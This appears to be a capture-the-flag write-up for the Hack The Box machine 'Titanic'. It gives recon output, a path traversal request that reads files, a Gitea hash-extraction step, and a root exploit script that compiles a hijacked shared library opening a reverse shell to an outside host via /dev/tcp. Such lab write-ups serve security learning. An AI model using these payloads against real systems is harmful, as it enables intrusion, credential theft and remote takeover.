---
description: https://app.hackthebox.com/machines/648
---

# Titanic

<figure><img src="https://2978149911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKdaWjtRJTpQ2jgzGIr4R%2Fuploads%2FFtW0lTj2w9otrsv1EUce%2FTitanic.png?alt=media&#x26;token=08ea8413-191b-4a5d-8a5d-0289122c4c98" alt=""><figcaption></figcaption></figure>

## Recon

### nmap

{% code overflow="wrap" %}
```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
{% endcode %}

<figure><img src="https://2978149911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKdaWjtRJTpQ2jgzGIr4R%2Fuploads%2Flol06xelqOejDr0Rrahb%2Fgrafik.png?alt=media&#x26;token=69435d1c-0d73-4cd9-8e40-08d790d90bda" alt=""><figcaption></figcaption></figure>

### gobuster

{% code overflow="wrap" %}
```
➜  Titanic gobuster vhost -u http://titanic.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 80 --follow-redirect
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://titanic.htb
[+] Method:          GET
[+] Threads:         80
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.titanic.htb Status: 200 [Size: 13982]
Progress: 4989 / 4990 (99.98%)
```
{% endcode %}

<figure><img src="https://2978149911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKdaWjtRJTpQ2jgzGIr4R%2Fuploads%2FHlQLEHi5kn5PAtENC3iE%2Fgrafik.png?alt=media&#x26;token=13194d50-cf9d-4a3f-944a-de9732b55995" alt=""><figcaption></figcaption></figure>

## User

### Path traversal

```
GET /download?ticket=../../../../../../../../../../home/developer/user.txt HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

### Gitea

```
https://gist.github.com/h4rithd/0c5da36a0274904cafb84871cf14e271
```

```
➜  Titanic python3 gitea2hashcat.py gitea.db 
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
gunzf0x:sha256:50000:Q+PgG9hwewoi9C3BDhkNRQ==:zZr1wrWZkMOv7g2syRze5cmxE3O9X3fybt8WUmmKQxZj41crwJRGqb9O/uJskuynEsE=
```

## Root

{% code overflow="wrap" %}
```
                                                                                                      poc.sh                                                                                                                
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) init(){
    system("/bin/bash -c 'bash -i >&/dev/tcp/<ip>/3333 0>&1'");
    exit(0);
}
EOF

```
{% endcode %}

```
developer@titanic:/opt/app/static/assets/images$ ./poc.sh
```
